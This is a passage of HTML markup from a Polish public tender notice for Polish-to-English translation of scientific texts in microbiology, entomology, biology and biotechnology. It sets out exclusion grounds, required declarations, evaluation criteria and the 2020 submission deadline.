formie elektronicznej lub wydrukowanej w czasopismach z listy MNiSW części A o Impact Factor (IF) powyżej 3.c) usługi świadczone przez Wykonawcę w trakcie realizacji zamówienia muszą spełniać standardy PN-EN-ISO-17100:2015-06, bądź równoważnych norm w zakresie świadczenia usług tłumaczeniowych. Podstawą spełnienia tych standardów jest posiadanie certyfikatu PN-EN-ISO-17100:2015-06, bądź równoważnych.</span> <br/> Zamawiający wymaga od wykonawców wskazania w ofercie lub we wniosku o dopuszczenie do udziału w postępowaniu imion i nazwisk osób wykonujących czynności przy realizacji zamówienia wraz z informacją o kwalifikacjach zawodowych lub doświadczeniu tych osób: <span id="ctl00_ContentPlaceHolder1_czy_zdolnosc_techniczna_wymaga_wykonawcow"></span> <br/> Informacje dodatkowe: <span id="ctl00_ContentPlaceHolder1_zdolnosc_techniczna_informacje_dodatkowe"></span> </div> <b> III.2) PODSTAWY WYKLUCZENIA </b> <br/> <div style="padding-left: 20px"> <b>III.2.1) Podstawy wykluczenia określone w art. 24 ust. 1 ustawy Pzp</b> <br/> <b>III.2.2) Zamawiający przewiduje wykluczenie wykonawcy na podstawie art. 24 ust. 5 ustawy Pzp</b> <span id="ctl00_ContentPlaceHolder1_czy_zamawiajacy_przewiduje_wykluczenie">Tak</span> Zamawiający przewiduje następujące fakultatywne podstawy wykluczenia: <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_1"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_2">Tak (podstawa wykluczenia określona w art. 24 ust. 5 pkt 2 ustawy Pzp)</span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_3"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_4">Tak (podstawa wykluczenia określona w art. 24 ust. 5 pkt 4 ustawy Pzp)</span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_5"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_6"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_7"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_8"></span> <br/> </div> <b> III.3) WYKAZ OŚWIADCZEŃ SKŁADANYCH PRZEZ WYKONAWCĘ W CELU WSTĘPNEGO POTWIERDZENIA, ŻE NIE PODLEGA ON WYKLUCZENIU ORAZ SPEŁNIA WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ SPEŁNIA KRYTERIA SELEKCJI </b> <br/> <div style="padding-left: 20px"> <b> Oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu </b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_oswiadczenie_niepodleganiu_wykluczenia">Tak</span> <br/> <b> Oświadczenie o spełnianiu kryteriów selekcji </b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_oswiadczenie_spelnienie_kryteriow">Tak</span> </div> <b> III.4) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW , SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 3 USTAWY PZP: </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_wykaz_dokumentow_zaswiadczen">Oświadczenie dotyczące braku przesłanek wykluczenia z postępowania (załącznik nr 3 do SIWZ) oraz oświadczenie o spełnianiu warunków udziału w postępowaniu (załącznik nr 4 do SIWZ) stanowiące wstępne potwierdzenie, że Wykonawca nie podlega wykluczeniu oraz spełnia warunki udziału w postępowaniu.a)	Wykonawca, który powołuje się na zasoby innych podmiotów w tym osób fizycznych nie będących pracownikami Wykonawcy, w celu wykazania braku istnienia wobec nich podstaw wykluczenia oraz spełnienia, w zakresie, w jakim powołuje się na ich zasoby, warunków udziału w postępowaniu lub kryteriów selekcji: składa także odrębne Oświadczenia dla każdego z tych podmiotów.b)	W przypadku wspólnego ubiegania się o zamówienie przez Wykonawców, Oświadczenia składa każdy z Wykonawców wspólnie ubiegających się o zamówienie.c)	Jeżeli Wykonawca zamierza część zamówienia zlecić podwykonawcom na zdolnościach, których polega, na potrzeby realizacji tej części, to należy wypełnić odrębne oświadczenia dla tych podwykonawców.d)	Dokumenty wskazane w pkt. a, b i c muszą potwierdzać spełnianie warunków udziału w postępowaniu, oraz brak podstaw wykluczenia lub kryteria selekcji w zakresie, w którym każdy z Wykonawców wykazuje spełnianie warunków udziału w postępowaniu,e)	W Oświadczeniach należy wypełnić jedynie te działy i sekcje, które dotyczą warunków udziału i potwierdzających brak podstaw do wykluczenia na podstawie treści ogłoszenia o zamówieniu i niniejszej specyfikacji. Wypełnienie pozostałych, nie wymaganych działów i sekcji nie będzie miało wpływu na ocenę oferty.</span> </div> <b> III.5) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 1 USTAWY PZP </b> <br/> <div style="padding-left: 20px"> <b>III.5.1) W ZAKRESIE SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zakresie_warunkow_udzialu">Oświadczenie dotyczące braku przesłanek wykluczenia z postępowania (załącznik nr 3 do SIWZ) oraz oświadczenie o spełnianiu warunków udziału w postępowaniu (załącznik nr 4 do SIWZ) stanowiące wstępne potwierdzenie, że Wykonawca nie podlega wykluczeniu oraz spełnia warunki udziału w postępowaniu.a)	Wykonawca, który powołuje się na zasoby innych podmiotów w tym osób fizycznych nie będących pracownikami Wykonawcy, w celu wykazania braku istnienia wobec nich podstaw wykluczenia oraz spełnienia, w zakresie, w jakim powołuje się na ich zasoby, warunków udziału w postępowaniu lub kryteriów selekcji: składa także odrębne Oświadczenia dla każdego z tych podmiotów.b)	W przypadku wspólnego ubiegania się o zamówienie przez Wykonawców, Oświadczenia składa każdy z Wykonawców wspólnie ubiegających się o zamówienie.c)	Jeżeli Wykonawca zamierza część zamówienia zlecić podwykonawcom na zdolnościach, których polega, na potrzeby realizacji tej części, to należy wypełnić odrębne oświadczenia dla tych podwykonawców.d)	Dokumenty wskazane w pkt. a, b i c muszą potwierdzać spełnianie warunków udziału w postępowaniu, oraz brak podstaw wykluczenia lub kryteria selekcji w zakresie, w którym każdy z Wykonawców wykazuje spełnianie warunków udziału w postępowaniu,e)	W Oświadczeniach należy wypełnić jedynie te działy i sekcje, które dotyczą warunków udziału i potwierdzających brak podstaw do wykluczenia na podstawie treści ogłoszenia o zamówieniu i niniejszej specyfikacji. Wypełnienie pozostałych, nie wymaganych działów i sekcji nie będzie miało wpływu na ocenę oferty.</span> <br/> <b>III.5.2) W ZAKRESIE KRYTERIÓW SELEKCJI:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zakresie_kryteriow_selekcji">a) wykaz osób skierowanych przez wykonawcę do realizacji zamówienia publicznego wraz z informacjami na temat ich kwalifikacji zawodowych, uprawnień, wykształcenia i doświadczenia w postaci wykonywanych usług minimum określonego dla każdego zadania oddzielnie w zakresie opisanym w pkt. 7.1.1.3 SIWZ, w okresie ostatnich 5 lat przed upływem terminu składania ofert, wraz z podaniem ich wartości, przedmiotu, daty wykonania i podmiotów, na rzecz których usługi te zostały wykonane oraz załączeniem dowodów określających, że usługi te zostały wykonane lub są wykonywane należycie, wg wzoru będącego zał. nr 7 do SIWZ.b) Formularz cenowy, zał. nr 2</span> </div> <b> III.6) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 2 USTAWY PZP </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_wykaz_potwierdzenie_okolicznosci"></span> </div> <b> III.7) INNE DOKUMENTY NIE WYMIENIONE W pkt III.3) - III.6) </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_inne_dokumenty_niewymienione"></span> </div> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA IV: PROCEDURA </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b>IV.1) OPIS </b> <br/> <b>IV.1.1) Tryb udzielenia zamówienia: </b> <span id="ctl00_ContentPlaceHolder1_tryb_udzielenia_zamowienia">Przetarg nieograniczony</span> <br/> <b>IV.1.2) Zamawiający żąda wniesienia wadium:</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wadium">Nie</span> <br/> Informacja na temat wadium <br/> <span id="ctl00_ContentPlaceHolder1_wadium"></span> </div> <br/> <b>IV.1.3) Przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zaliczek">Nie</span> <br/> Należy podać informacje na temat udzielania zaliczek: <br/> <span id="ctl00_ContentPlaceHolder1_przewiduje_udzielenie_zaliczek"></span> </div> <br/> <b> IV.1.4) Wymaga się złożenia ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych: </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wymaga_zlozenie_katalogow_elektronicznych">Nie</span> <br/> Dopuszcza się złożenie ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych: <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_katalogow_elektronicznych">Nie</span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_zlozenie_katalogow_elektronicznych_informacje_dodatkowe"></span> </div> <br/> <b> IV.1.5.) Wymaga się złożenia oferty wariantowej: </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wymaga_zlozenie_oferty_wariantowej"></span> <br/> Dopuszcza się złożenie oferty wariantowej <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_oferty_wariantowej"></span> <br/> Złożenie oferty wariantowej dopuszcza się tylko z jednoczesnym złożeniem oferty zasadniczej: <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_oferty_wariantowej_zasadniczej"></span> </div> <br/> <b> IV.1.6) Przewidywana liczba wykonawców, którzy zostaną zaproszeni do udziału w postępowaniu </b> <br/> <i> (przetarg ograniczony, negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne) </i> <div style="padding-left: 20px"> Liczba wykonawców &#160;<span id="ctl00_ContentPlaceHolder1_liczba_wykonawcow"></span> <br/> Przewidywana minimalna liczba wykonawców <span id="ctl00_ContentPlaceHolder1_minimalna_liczba_wykonawcow"></span> <br/> Maksymalna liczba wykonawców &#160;<span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_wykonawcow"></span> <br/> Kryteria selekcji wykonawców: <br/> <span id="ctl00_ContentPlaceHolder1_znaczenie_warunkow_wykonawcow"></span> </div> <br/> <b> IV.1.7) Informacje na temat umowy ramowej lub dynamicznego systemu zakupów: </b> <div style="padding-left: 20px"> Umowa ramowa będzie zawarta: <br/> <span id="ctl00_ContentPlaceHolder1_z_kim_umowa_bedzie_zawarta"></span> <br/> Czy przewiduje się ograniczenie liczby uczestników umowy ramowej: <br/> <span id="ctl00_ContentPlaceHolder1_czy_ograniczenie_liczby_uczestnikow"></span> <br/> Przewidziana maksymalna liczba uczestników umowy ramowej: <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenie_liczby_uczestnikow"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenie_liczby_uczestnikow_informacje_dodatkowe"></span> <br/> Zamówienie obejmuje ustanowienie dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_czy_obejmuje_ustanowienie"></span> <br/> Adres strony internetowej, na której będą zamieszczone dodatkowe informacje dotyczące dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_obejmuje_ustanowienie"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_obejmuje_ustanowienie_informacje_dodatkowe"></span> <br/> W ramach umowy ramowej/dynamicznego systemu zakupów dopuszcza się złożenie ofert w formie katalogów elektronicznych: <br/> <span id="ctl00_ContentPlaceHolder1_czy_umowy_ramowej_dynamicznego_katalogow"></span> <br/> Przewiduje się pobranie ze złożonych katalogów elektronicznych informacji potrzebnych do sporządzenia ofert w ramach umowy ramowej/dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_czy_pobranie_umowy_ramowej_dynamicznego_katalogow"></span> </div> <br/> <b>IV.1.8) Aukcja elektroniczna </b> <br/> <b> Przewidziane jest przeprowadzenie aukcji elektronicznej </b><i>(przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem) </i> <span id="ctl00_ContentPlaceHolder1_aukcja_elektroniczna">Nie</span> <br/> Należy podać adres strony internetowej, na której aukcja będzie prowadzona: <br/> <span id="ctl00_ContentPlaceHolder1_adres_strony_na_ktorej_bedzie_prowadzona"></span> <br/> <b>Należy wskazać elementy, których wartości będą przedmiotem aukcji elektronicznej: </b> <span id="ctl00_ContentPlaceHolder1_elementy_aukcji_elektronicznej"></span> <br/> <b>Przewiduje się ograniczenia co do przedstawionych wartości, wynikające z opisu przedmiotu zamówienia:</b> <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenia_do_przedstawianych_wartosci"></span> <br/> Należy podać, które informacje zostaną udostępnione wykonawcom w trakcie aukcji elektronicznej oraz jaki będzie termin ich udostępnienia: <span id="ctl00_ContentPlaceHolder1_informaje_udostepnione_wykonawcom"></span> <br/> Informacje dotyczące przebiegu aukcji elektronicznej: <span id="ctl00_ContentPlaceHolder1_informaje_przebiegu_aukcji"></span> <br/> Jaki jest przewidziany sposób postępowania w toku aukcji elektronicznej i jakie będą warunki, na jakich wykonawcy będą mogli licytować (minimalne wysokości postąpień): <span id="ctl00_ContentPlaceHolder1_warunki_do_licytacji"></span> <br/> Informacje dotyczące wykorzystywanego sprzętu elektronicznego, rozwiązań i specyfikacji technicznych w zakresie połączeń: <span id="ctl00_ContentPlaceHolder1_wykorzystanie_sprzetu_elektronicznego"></span> <br/> Wymagania dotyczące rejestracji i identyfikacji wykonawców w aukcji elektronicznej: <span id="ctl00_ContentPlaceHolder1_wymagania_dotyczace_rejestracji_wyk_aukcja"></span> <br/> Informacje o liczbie etapów aukcji elektronicznej i czasie ich trwania: <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_aukcja_jednoetapowa"></span> <br/>Czas trwania: <span id="ctl00_ContentPlaceHolder1_IV_aukcja_jednoetapowa_czas"></span> <br /> <br/> Czy wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu: <span id="ctl00_ContentPlaceHolder1_IV_aukcja_wykonawcy_zakwalfikowani"></span> <br/> Warunki zamknięcia aukcji elektronicznej: <br/> <span id="ctl00_ContentPlaceHolder1_warunki_zamkniecia_aukcji"></span> </div> <br/> <b>IV.2) KRYTERIA OCENY OFERT </b> <br/> <b>IV.2.1) Kryteria oceny ofert: </b> <br/> <b>IV.2.2) Kryteria</b> <br/> <TABLE style='border: 1px solid black;border-collapse: collapse;'><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Kryteria</TD><TD style='border: 1px solid black;border-collapse: collapse;'>Znaczenie</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>cena </TD><TD style='border: 1px solid black;border-collapse: collapse;'>50,00</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>dodatkowe doświadczenie osób skierowanych do realizacji zamówienia</TD><TD style='border: 1px solid black;border-collapse: collapse;'>50,00</TD></TR></TABLE> <br/> <b>IV.2.3) Zastosowanie procedury, o której mowa w art. 24aa ust. 1 ustawy Pzp </b>(przetarg nieograniczony) <br/> <span id="ctl00_ContentPlaceHolder1_zastosowanie_procedury_pzp"></span> <br/> <b>IV.3) Negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne </b> <br/> <b>IV.3.1) Informacje na temat negocjacji z ogłoszeniem</b> <br/> Minimalne wymagania, które muszą spełniać wszystkie oferty: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_minimalne_wymagania"></span> <br/> Przewidziane jest zastrzeżenie prawa do udzielenia zamówienia na podstawie ofert wstępnych bez przeprowadzenia negocjacji <span id="ctl00_ContentPlaceHolder1_IV_3_1_Przewidziane_jest_zastrzezenie"></span> <br/> Przewidziany jest podział negocjacji na etapy w celu ograniczenia liczby ofert: <span id="ctl00_ContentPlaceHolder1_IV_3_1_Przewidziany_podzial"></span> <br/> Należy podać informacje na temat etapów negocjacji (w tym liczbę etapów): <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_etapy_negocjacji"></span> <br/> Informacje dodatkowe <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_dodatkowe_informacje"></span> <br/> <br/> <b>IV.3.2) Informacje na temat dialogu konkurencyjnego</b> <br/> Opis potrzeb i wymagań zamawiającego lub informacja o sposobie uzyskania tego opisu: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_opis_potrzeb"></span> <br/> Informacja o wysokości nagród dla wykonawców, którzy podczas dialogu konkurencyjnego przedstawili rozwiązania stanowiące podstawę do składania ofert, jeżeli zamawiający przewiduje nagrody: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_informacja_wysokosc_nagrod"></span> <br/> Wstępny harmonogram postępowania: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_wstepny_harmonogram"></span> <br/> Podział dialogu na etapy w celu ograniczenia liczby rozwiązań: <span id="ctl00_ContentPlaceHolder1_IV_3_2_PodzialDialogu"></span> <br/> Należy podać informacje na temat etapów dialogu: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_EtapyDialogu"></span> <br/> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_DodatkoweInformacje"></span> <br/> <b>IV.3.3) Informacje na temat partnerstwa innowacyjnego</b> <br/> Elementy opisu przedmiotu zamówienia definiujące minimalne wymagania, którym muszą odpowiadać wszystkie oferty: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_ElementyOpisu"></span> <br/> Podział negocjacji na etapy w celu ograniczeniu liczby ofert podlegających negocjacjom poprzez zastosowanie kryteriów oceny ofert wskazanych w specyfikacji istotnych warunków zamówienia: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_PodzialNegocjacji"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_DodatkoweInfo"></span> <br/> <b>IV.4) Licytacja elektroniczna </b> <br/> Adres strony internetowej, na której będzie prowadzona licytacja elektroniczna: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_6"></span> </div> Adres strony internetowej, na której jest dostępny opis przedmiotu zamówienia w licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_7"></span> </div> Wymagania dotyczące rejestracji i identyfikacji wykonawców w licytacji elektronicznej, w tym wymagania techniczne urządzeń informatycznych: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_8"></span> </div> Sposób postępowania w toku licytacji elektronicznej, w tym określenie minimalnych wysokości postąpień: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_9"></span> </div> Informacje o liczbie etapów licytacji elektronicznej i czasie ich trwania: <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_10_licytacja_jednoetapowa"></span> <span id="ctl00_ContentPlaceHolder1_IV_4_10_licytacja_jednoetapowa_czas"> Czas trwania: </span> <br /> <br/> Wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu: <span id="ctl00_ContentPlaceHolder1_IV_4_10_wykonawcy_zakwalfikowani"></span> </div> Termin składania wniosków o dopuszczenie do udziału w licytacji elektronicznej: <br/> Data: <span id="ctl00_ContentPlaceHolder1_IV_4_11_data"></span> godzina: <span id="ctl00_ContentPlaceHolder1_IV_4_11_godzina"></span> <br/> Termin otwarcia licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_12"></span> </div> Termin i warunki zamknięcia licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_13"></span> </div> <br/> Istotne dla stron postanowienia, które zostaną wprowadzone do treści zawieranej umowy w sprawie zamówienia publicznego, albo ogólne warunki umowy, albo wzór umowy: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_IstotnePostanowienia"></span> </div> <br/> Wymagania dotyczące zabezpieczenia należytego wykonania umowy: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_14"></span> </div> <br/> Informacje dodatkowe: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_LicytacjeDodatkoweInformacje"></span> </div> <b>IV.5) ZMIANA UMOWY</b> <br/> <b>Przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy:</b> <span id="ctl00_ContentPlaceHolder1_zmiana_umowy">Tak</span> <br/> Należy wskazać zakres, charakter zmian oraz warunki wprowadzenia zmian: <br/> <span id="ctl00_ContentPlaceHolder1_zmiana_umowy_tekst">1. Zamawiający dopuszcza możliwość zmian do niniejszej umowy w stosunku do treści oferty na podstawie, której dokonano wyboru Wykonawcy w przypadku zaistnienia którejś z przesłanek o której mowa w art. 144 ustawy Prawo zamówień publicznych (tj. Dz.U. z 2019r., poz. 1843).2. Zmiany umowy w rozumieniu art. 144 ustawy Prawo zamówień publicznych nie stanowią:1) zmiana wskazanych w umowie osób wyznaczonych do nadzoru ze strony Zamawiającego i Wykonawcy;2) zmiana danych teleadresowych Stron;3) zmiana danych rejestrowych Stron.3. Wszelkie zmiany niniejszej umowy wymagają formy pisemnego aneksu pod rygorem nieważności.</span> <br/> <b>IV.6) INFORMACJE ADMINISTRACYJNE </b> <br/> <br /> <b>IV.6.1) Sposób udostępniania informacji o charakterze poufnym </b><i>(jeżeli dotyczy): </i> <br /> <span id="ctl00_ContentPlaceHolder1_IV_6_1_sposob_udostepniania"></span> <br/> <b>Środki służące ochronie informacji o charakterze poufnym</b> <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_1_srodki_ochrony"></span> <br/> <b>IV.6.2) Termin składania ofert lub wniosków o dopuszczenie do udziału w postępowaniu: </b> <br/> Data: <span id="ctl00_ContentPlaceHolder1_IV_4_4_data">2020-06-02</span>, godzina: <span id="ctl00_ContentPlaceHolder1_IV_4_4_godzina">10:30</span>, <br/> Skrócenie terminu składania wniosków, ze względu na pilną potrzebę udzielenia zamówienia (przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem): <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_2_SkrocenieTerminu"></span> <br/> Wskazać powody: <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_2_Powody"></span> <br/> Język lub języki, w jakich mogą być sporządzane oferty lub wnioski o dopuszczenie do udziału w postępowaniu <br/>> <span id="ctl00_ContentPlaceHolder1_IV_4_4_jezyki">polski</span> <br/> <b>IV.6.3) Termin związania ofertą: </b> do: <span id="ctl00_ContentPlaceHolder1_IV_4_5_data"></span> okres w dniach: <span id="ctl00_ContentPlaceHolder1_IV_4_5_okres">30</span> (od ostatecznego terminu składania ofert) <br/> <b>IV.6.4) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków, które miały być przeznaczone na sfinansowanie całości lub części zamówienia:</b> <span id="ctl00_ContentPlaceHolder1_IV_4_17"></span> <br/> <b>IV.6.5) Informacje dodatkowe:</b> <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_6"></span> </div> </div> <div class="headerLarge_xforms" style="text-align: center"> <u> ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH </u> </div> <br /> <div> <br /> <table><tr><td><b>Część nr: </b></td><td>1</td><td><b>Nazwa: </b></td><td>Tłumacze pisemne z języka polskiego na język angielski tekstu naukowego z zakresu mikrobiologii, hydrobiologii lub fykologii.</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia są tłumaczenie pisemne z języka polskiego na język angielski tekstu naukowego z zakresu mikrobiologii, hydrobiologii lub fykologii.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">dodatkowe doświadczenie osób skierowanych do realizacji zamówienia</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>2</td><td><b>Nazwa: </b></td><td>Tłumaczenie pisemne z języka polskiego na język angielski tekstu naukowego z zakresu ekologii akarofauny lub entomofauny.</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia są tłumaczenia pisemne z języka polskiego na język angielski tekstu naukowego z zakresu ekologii akarofauny lub entomofauny.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">dodatkowe doświadczenie osób skierowanych do realizacji zamówienia</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>3</td><td><b>Nazwa: </b></td><td>Tłumaczenie pisemne z języka polskiego na język angielski tekstu naukowego z zakresu nauk biologicznych.</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Przedmiotem zamówienia są tłumaczenia pisemne z języka polskiego na język angielski tekstu naukowego z zakresu nauk biologicznych.<br/><b> 2) Wspólny Słownik Zamówień(CPV): </b>79530000-8, <br/><br/><b> 3) Wartość części zamówienia(jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br/>Wartość bez VAT: <br/>Waluta: <br/><br/><b> 4) Czas trwania lub termin wykonania: </b><br/>okres w miesiącach: <br/>okres w dniach: <br/>data rozpoczęcia: <br/>data zakończenia: <br/><b> 5) Kryteria oceny ofert: </b><br/><TABLE style="border: 1px solid black;border-collapse: collapse;"><tr><td style="border: 1px solid black;border-collapse: collapse;">Kryterium</td><td style="border: 1px solid black;border-collapse: collapse;">Znaczenie</td></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">cena</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr><TR><td style="border: 1px solid black;border-collapse: collapse;">dodatkowe doswiadczenie osób skierowanych do realizacji zamówienia</td><td style="border: 1px solid black;border-collapse: collapse;">50,00</TD></tr></TABLE><br/><b>6) INFORMACJE DODATKOWE:</b><br/><br/><br/><table><tr><td><b>Część nr: </b></td><td>4</td><td><b>Nazwa: </b></td><td>Tłumaczenie pisemne z języka polskiego na język angielski tekstu naukowego z zakresu biotechnologii.</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku 